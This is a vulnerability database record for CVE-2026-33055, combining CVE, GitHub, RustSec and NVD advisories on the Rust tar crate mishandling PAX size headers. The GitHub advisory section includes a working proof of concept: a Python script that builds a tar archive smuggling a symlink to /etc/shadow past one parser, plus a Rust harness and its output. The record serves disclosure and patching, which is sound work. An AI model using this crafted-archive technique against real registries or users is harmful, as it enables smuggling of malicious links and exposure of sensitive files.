{"id":"CVE-2026-33055","aliases":["CVE-2026-33055","GHSA-gchp-q4r4-x4ff","RUSTSEC-2026-0068"],"related":[],"kind":"vulnerability","state":"published","title":"tar-rs incorrectly ignores PAX size headers if header size is nonzero","summary":"tar-rs is a tar archive reading/writing library for Rust. Versions 0.4.44 and below have conditional logic that skips the PAX size header in cases where the base header size is nonzero. As part of CVE-2025-62518, the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. This is almost the inverse of the astral-tokio-tar issue. Any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override. This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. This issue has been fixed in version 0.4.45.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"tar-rs is a tar archive reading/writing library for Rust. Versions 0.4.44 and below have conditional logic that skips the PAX size header in cases where the base header size is nonzero. As part of CVE-2025-62518, the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. This is almost the inverse of the astral-tokio-tar issue. Any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override. This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. This issue has been fixed in version 0.4.45.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nAs part of [CVE-2025-62518](https://www.cve.org/CVERecord?id=CVE-2025-62518) the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header.\n\nHowever, it was missed at the time that this project (the original Rust `tar` crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue.\n\nThe problem here is that *any* discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers.\n\nIn this case, the tar-rs (Rust `tar`) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go `archive/tar`) unconditionally use the PAX size override.\n\n\n### Details\n\nhttps://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600\nhttps://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344\n\n### PoC\n\n(originally posted by https://github.com/xokdvium)\n\n\n> I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links:\n\nIt seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by `astral-tokio-tar` but not by `tar-rs`.\n\nhttps://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600\nhttps://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344\n\n```python\n#!/usr/bin/env python3\nB = 512\n\n\ndef pad(d):\n    r = len(d) % B\n    return d + b\"\\0\" * (B - r) if r else d\n\n\ndef hdr(name, size, typ=b\"0\", link=b\"\"):\n    h = bytearray(B)\n    h[0 : len(name)] = name\n    h[100:107] = b\"0000644\"\n    h[108:115] = h[116:123] = b\"0001000\"\n    h[124:135] = f\"{size:011o}\".encode()\n    h[136:147] = b\"00000000000\"\n    h[148:156] = b\"        \"\n    h[156:157] = typ\n    if link:\n        h[157 : 157 + len(link)] = link\n    h[257:263] = b\"ustar\\x00\"\n    h[263:265] = b\"00\"\n    h[148:155] = f\"{sum(h):06o}\\x00\".encode()\n    return bytes(h)\n\n\nINFLATED = 2048\npax_rec = b\"13 size=2048\\n\"\n\nar = bytearray()\nar += hdr(b\"./PaxHeaders/regular\", len(pax_rec), typ=b\"x\")\nar += pad(pax_rec)\n\ncontent = b\"regular\\n\"\nar += hdr(b\"regular.txt\", len(content))\nmark = len(ar)\nar += pad(content)\n\nar += hdr(b\"smuggled\", 0, typ=b\"2\", link=b\"/etc/shadow\")\nar += b\"\\0\" * B * 2\n\nused = len(ar) - mark\nif used < INFLATED:\n    ar += b\"\\0\" * (((INFLATED - used + B - 1) // B) * B)\nar += b\"\\0\" * B * 2\n\nopen(\"smuggle.tar\", \"wb\").write(bytes(ar))\n```\n\n`tar-rs` and `astral-tokio-tar` parse it differently, with `astral-tokio-tar` skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102 wouldn't disallow it).\n\n```rust\nuse std::fs;\nuse std::path::PathBuf;\n\nfn sync_parse(data: &[u8]) {\n    println!(\"tar:\");\n    let mut ar = tar::Archive::new(data);\n    for e in ar.entries().unwrap() {\n        let e = e.unwrap();\n        let path = e.path().unwrap().to_path_buf();\n        let kind = e.header().entry_type();\n        let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());\n        match link {\n            Some(l) => println!(\"  {:20} {:?} -> {}\", path.display(), kind, l.display()),\n            None => println!(\"  {:20} {:?}\", path.display(), kind),\n        }\n    }\n    println!();\n}\n\nasync fn async_parse(data: Vec<u8>) {\n    println!(\"astral-tokio-tar:\");\n    let mut ar = tokio_tar::Archive::new(data.as_slice());\n    let mut entries = ar.entries().unwrap();\n    while let Some(e) = tokio_stream::StreamExt::next(&mut entries).await {\n        let e = e.unwrap();\n        let path = e.path().unwrap().to_path_buf();\n        let kind = e.header().entry_type();\n        let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());\n        match link {\n            Some(l) => println!(\"  {:20} {:?} -> {}\", path.display(), kind, l.display()),\n            None => println!(\"  {:20} {:?}\", path.display(), kind),\n        }\n    }\n    println!();\n}\n\n#[tokio::main]\nasync fn main() {\n    let path = std::env::args().nth(1).unwrap_or(\"smuggle.tar\".into());\n    let data = fs::read(&path).unwrap();\n    sync_parse(&data);\n    async_parse(data).await;\n}\n```\n\n```\ntar:\n  regular.txt          Regular\n  smuggled             Symlink -> /etc/shadow\n\nastral-tokio-tar:\n  regular.txt          Regular\n```\n\n### Impact\n\nThis can affect anything that uses the `tar` crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses `astral-tokio-tar` to parse, but cargo uses `tar`.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Versions 0.4.44 and below of tar-rs have conditional logic that skips the PAX\nsize header in cases where the base header size is nonzero.\n\nAs part of [CVE-2025-62518][astral-cve], the [astral-tokio-tar]\nproject was changed to correctly honor PAX size headers in the case where it\nwas different from the base header. This is almost the inverse of the\nastral-tokio-tar issue.\n\nAny discrepancy in how tar parsers honor file size can be used to create\narchives that appear differently when unpacked by different archivers. In this\ncase, the tar-rs (Rust tar) crate is an outlier in checking for the header size\n— other tar parsers (including e.g. Go [`archive/tar`][go-tar]) unconditionally\nuse the PAX size override. This can affect anything that uses the tar crate to\nparse archives and expects to have a consistent view with other parsers.\n\nThis issue has been fixed in version 0.4.45.\n\n[astral-cve]: https://www.cve.org/CVERecord?id=CVE-2025-62518\n[astral-tokio-tar]: https://github.com/astral-sh/tokio-tar\n[go-tar]: https://pkg.go.dev/archive/tar","format":"markdown","source":"rustsec"},{"lang":"es","text":"tar-rs es una biblioteca de lectura/escritura de archivos tar para Rust. Las versiones 0.4.44 e inferiores tienen lógica condicional que omite el encabezado de tamaño PAX en los casos en que el tamaño del encabezado base no es cero. Como parte de CVE-2025-62518, el proyecto astral-tokio-tar fue modificado para respetar correctamente los encabezados de tamaño PAX en el caso en que fuera diferente del encabezado base. Esto es casi lo inverso del problema de astral-tokio-tar. Cualquier discrepancia en cómo los analizadores tar respetan el tamaño del archivo puede ser utilizada para crear archivos que aparecen de manera diferente cuando son desempaquetados por diferentes archivadores. En este caso, el 'crate' tar-rs (tar de Rust) es una excepción al verificar el tamaño del encabezado; otros analizadores tar (incluyendo, por ejemplo, Go archive/tar) usan incondicionalmente la anulación de tamaño PAX. Esto puede afectar cualquier cosa que use el 'crate' tar para analizar archivos y espere tener una vista consistente con otros analizadores. Este problema ha sido corregido en la versión 0.4.45.","source":"nvd"}],"published":"2026-03-19T12:00:00.000Z","modified":"2026-09-10T03:50:39.204Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","score":5.1,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","score":5.1,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","score":8.1,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","rating":"MEDIUM"},{"scorer":"RustSec Advisory Database","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","score":8.1,"rating":"HIGH"}],"cwes":["CWE-843"],"affected":[{"ranges":[{"version":"< 0.4.45","status":"affected"}],"vendor":"alexcrichton","product":"tar-rs","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.4.45"}],"ecosystem":"crates.io","package":"tar","purl":"pkg:cargo/tar","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0.0.0-0","status":"affected","fixed":"0.4.45"}],"ecosystem":"crates.io","package":"tar","purl":"pkg:cargo/tar","source":"rustsec"},{"ranges":[{"status":"affected","fixed":"0.4.45"}],"vendor":"alexcrichton","product":"tar-rs","cpe":"cpe:2.3:a:alexcrichton:tar-rs:*:*:*:*:*:rust:*:*","source":"nvd"}],"references":[{"url":"https://github.com/alexcrichton/tar-rs/security/advisories/GHSA-gchp-q4r4-x4ff","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/alexcrichton/tar-rs/commit/de1a5870e603758f430073688691165f21a33946","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-62518","tags":["third-party-advisory","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/composefs/tar-rs/security/advisories/GHSA-gchp-q4r4-x4ff","tags":["web"],"sources":["ghsa"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33055","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/alexcrichton/tar-rs","tags":["package"],"sources":["ghsa"]},{"url":"https://rustsec.org/advisories/RUSTSEC-2026-0068.html","tags":["advisory","web"],"sources":["ghsa","rustsec"]},{"url":"https://crates.io/crates/tar","tags":["package"],"sources":["rustsec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-03-20T15:43:55.137Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-33055","url":"https://www.cve.org/CVERecord?id=CVE-2026-33055","licence":"CVE Terms of Use","modified":"2026-03-20T15:44:15.706Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-gchp-q4r4-x4ff","url":"https://github.com/advisories/GHSA-gchp-q4r4-x4ff","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:39.204Z"},{"source":"rustsec","name":"RustSec Advisory Database","id":"RUSTSEC-2026-0068","url":"https://rustsec.org/advisories/RUSTSEC-2026-0068.html","licence":"CC0-1.0","modified":"2026-03-23T09:45:06.562Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-33055","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33055","licence":"Public domain","modified":"2026-06-17T10:36:52.433Z"}],"updatedAt":"2026-11-25T22:59:16.289Z","epss":{"score":0.00462,"percentile":0.41771,"date":"2026-12-01T12:00:22.000Z"}}